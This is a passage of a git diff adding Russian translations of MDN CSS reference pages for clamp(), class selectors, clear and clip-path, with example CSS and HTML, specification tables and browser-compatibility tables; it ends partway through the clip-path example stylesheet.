+ <li>Математические выражения, включающие в себя проценты для ширины и высоты колонок таблицы, групп колонок таблицы, строк таблицы, групп строк таблицы и ячеек таблицы и при значении "auto" и при значении "fixed" свойства "table-layout" могут обрабатываться как если бы было задано значение <code>auto</code>.</li>
+ <li>Допускается вкладывать функции <code>max()</code> и <code>min()</code> в качестве значений выражений, в этом случае внутренние обрабатываются как простые скобки. Выражения являются полностью математическими выражениями, поэтому вы можете использовать сложения, вычитание, умножение и деление без использования самой функции calc().</li>
+ <li>Выражение может быть значениями, объединяющими операторы сложения (+), вычитания (-), умножения (*) и деления (/) с использованием стандартных правил приоритета операторов. Не забудьте поставить пробелы с каждой стороны от операндов + и -. Операнды в выражении могут иметь любое значение синтаксиса {{CSSxRef ("&lt;length&gt;")}}. Вы можете использовать разные единицы для каждого значения в своём выражении. Вы также можете использовать круглые скобки, чтобы установить порядок вычислений, когда это необходимо.</li>
+ <li>Часто вам может понадобиться использовать {{CSSxRef ("min")}} и {{CSSxRef ("max")}} в функции clamp ().</li>
+</ul>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Установка_минимального_и_максимального_размера_шрифта">Установка минимального и максимального размера шрифта</h3>
+
+<p><code>clamp()</code> позволяет вам установить размер шрифта, который изменяется в зависимости от ширины области видимости, но не уменьшается ниже и не увеличивается выше заданного размера. Она имеет тот же эффект, что и в <a href="https://css-tricks.com/snippets/css/fluid-typography/">Fluid Typography</a>, но в одну строку и без использования медиа-запросов.</p>
+
+<pre class="brush: css notranslate">p { font-size: clamp(1rem, 2.5vw, 1.5rem); }
+</pre>
+
+<pre class="brush: html; notranslate">&lt;p&gt;
+If 2.5vw is less than 1rem, the font-size will be 1rem.
+If 2.5vw is greater than 1.5rem, the font-size will be 1.5rem.
+Otherwise, it will be 2.5vw.
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Setting_a_minimum_and_max_size_for_a_font", "100%", "300")}}</p>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<p>TBD</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values", "#calc-notation", "clamp()")}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.types.clamp")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef("calc")}}</li>
+ <li>{{CSSxRef("max")}}</li>
+ <li>{{CSSxRef("min")}}</li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS Values</a></li>
+</ul>
diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html
new file mode 100644
index 0000000000..ce498a8a2b
--- /dev/null
+++ b/files/ru/web/css/class_selectors/index.html
@@ -0,0 +1,121 @@
+---
+title: Селекторы по классу
+slug: Web/CSS/Class_selectors
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<h2 id="Summary" name="Summary">Краткое описание</h2>
+
+<p>В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">.classname { <em>style properties</em> }</pre>
+
+<p>Это эквивалетно следующему {{ Cssxref("Attribute_selectors", "селектор по атрибуту") }}:</p>
+
+<pre class="syntaxbox">[class~=classname] { <em>style properties</em> }</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span.classy {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span class="classy"&gt;Здесь span с каким-то текстом.&lt;/span&gt;
+&lt;span&gt;А тут другой span.&lt;/span&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 50) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#class-html', 'class selectors') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#class-html', 'class selectors') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#class-html', 'child selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#class-as-selector', 'child selectors') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html
new file mode 100644
index 0000000000..1a0c6172b1
--- /dev/null
+++ b/files/ru/web/css/clear/index.html
@@ -0,0 +1,237 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+  - CSS
+  - Справка
+translation_of: Web/CSS/clear
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>clear</code></strong> CSS указывает, может ли элемент быть рядом с плавающими  <a href="https://developer.mozilla.org/en-US/docs/CSS/float" title="CSS/float">floating</a> элементами, которые предшествуют ему или должны быть перемещены вниз (очищены) под ними. Свойство <code>clear</code> применяется как к плавающим, так и к неплавающим элементам.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clear.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<p>При применении к неплавающим блокам он перемещает границу края <a href="/en-US/docs/CSS/box_model" title="CSS/box_model">border edge</a> элемента до тех пор, пока не окажется ниже края <a href="/en-US/docs/CSS/box_model" title="CSS/box_model">margin edge</a> поля всех соответствующих поплавков. Вертикальный край неплавающего блока сжимается.</p>
+
+<p>Вертикальные поля между двумя плавающими элементами, с другой стороны, не будут разрушаться. При применении к плавающим элементам -  <a href="/en-US/docs/CSS/box_model" title="CSS/box_model">margin edge</a> нижнего элемента перемещается ниже <a href="/en-US/docs/CSS/box_model" title="CSS/box_model">margin edge</a> всех соответствующих поплавков. Это влияет на положение более поздних поплавков, поскольку более поздние поплавки не могут быть расположены выше предыдущих.</p>
+
+<p>Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">контексте форматирования блоков</a>. </p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется <strong>clearfix,</strong> и один из способов сделать это - это заменит <code>clear</code> замененный {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> на нем.</p>
+
+<pre class="brush: css">#container::after {
+  content: "";
+  display: block;
+  clear: both;
+}
+</pre>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Значения ключевых слов */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* Global values */
+clear: inherit;
+clear: initial;
+clear: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Является ключевым словом, указывающим, что элемент не перемещается вниз, чтобы очистить предыдущие плавающие элементы.</dd>
+ <dt><code>left</code></dt>
+ <dd>Является ключевым словом, указывающим, что элемент перемещается вниз, чтобы очистить <em>левые</em> поплавки.</dd>
+ <dt><code>right</code></dt>
+ <dd>Является ключевым словом, указывающим, что элемент перемещается вниз, чтобы удалить прошлые <em>правые</em> поплавки.</dd>
+ <dt><code>both</code></dt>
+ <dd>Это ключевое слово, указывающее, что элемент перемещается вниз, чтобы очистить как левые, так и правые поплавки.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>Является ключевым словом, указывающим, что элемент перемещается вниз для очистки поплавков <em>в начале содержащего его блока</em>, то есть <em>левые</em> поплавки на скриптах <strong>ltr</strong> и <em>правые</em> поплавки на скриптах <strong>rtl</strong>.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>Является ключевым словом, указывающим, что элемент перемещается вниз для очистки поплавков <em>в конце содержащего его блока</em>, то есть <em>правые</em> поплавки на скриптах <strong>ltr</strong> и <em>левые</em> поплавки на скриптах <strong>rtl</strong>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="clear:_left" name="clear:_left">clear: left</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Давай лучше "бёзди хэппи" затянем, нежели Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Пусть бегут неуклюже пешеходы по лужам, Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="left"&gt;Этот абзац очищается слева.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.left {
+  border: 1px solid black;
+  clear: left;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width: 20%;
+}
+.red {
+  float: left;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 50%;
+}
+</pre>
+
+<p>{{EmbedLiveSample('clear:_left','100%','250')}}</p>
+
+<h3 id="clear:_right" name="clear:_right">clear: right</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Лучше нести бред и околесицу, но более осмысленную, чем Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="red"&gt;- Так я ж намедни намекал, что Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="right"&gt;Этот абзац очищается справа.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.right {
+  border: 1px solid black;
+  clear: right;
+}
+.black {
+  float: right;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 50%;
+}</pre>
+
+<p>{{EmbedLiveSample('clear:_right','100%','250')}}</p>
+
+<h3 id="clear:_both" name="clear:_both">clear: both</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Лучше нести осмысленную белиберду, чем "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Вот я и говорю, что "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor".&lt;/p&gt;
+  &lt;p class="both"&gt;Этот абзац очищает оба.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.both {
+  border: 1px solid black;
+  clear: both;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 45%;
+}</pre>
+
+<p>{{EmbedLiveSample('clear:_both','100%','300')}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Добавляет значения <code>inline-start</code> и <code>inline-end</code>. </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Никаких существенных изменений, хотя детали уточняются.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#clear', 'clear')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("css.properties.clear")}}</p>
+
+<div> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/box_model" title="CSS/box_model">Box model</a></li>
+</ul>
diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html
new file mode 100644
index 0000000000..c218eb1f00
--- /dev/null
+++ b/files/ru/web/css/clip-path/index.html
@@ -0,0 +1,586 @@
+---
+title: clip-path
+slug: Web/CSS/clip-path
+translation_of: Web/CSS/clip-path
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code> создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p>
+
+<div class="note">
+<p><strong>Историческая справка:</strong> Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* Keyword values */
+clip-path: none;
+
+/* Image values */
+clip-path: url(resources.svg#c1);
+
+/* Box values */
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+
+/* Geometry values */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+
+/* Box and geometry values combined */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* Global values */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+</pre>
+
+<div class="hidden" id="clip-path">
+<pre class="brush: html">&lt;svg class="defs"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&gt;
+      &lt;path d="M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z" /&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;clip-path: none&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="none"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="none"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: url(#myPath)&lt;br&gt;&lt;br&gt;
+      Assuming the following clipPath definition:
+      &lt;pre&gt;
+&amp;lt;svg&amp;gt;
+  &amp;lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&amp;gt;
+    &amp;lt;path d="M0.5,1
+      C 0.5,1,0,0.7,0,0.3
+      A 0.25,0.25,1,1,1,0.5,0.3
+      A 0.25,0.25,1,1,1,1,0.3
+      C 1,0.7,0.5,1,0.5,1 Z" /&amp;gt;
+  &amp;lt;/clipPath&amp;gt;
+&amp;lt;/svg&amp;gt;&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="svg"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="svg"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: circle(25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape1"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape1"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape2"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape2"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: fill-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape3"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape3"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: stroke-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape4"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape4"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: view-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape5"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape5"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: margin-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape6"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape6"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: border-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape7"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape7"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: padding-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape8"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape8"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: content-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape9"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape9"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>mlk</p>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  margin: .5em;
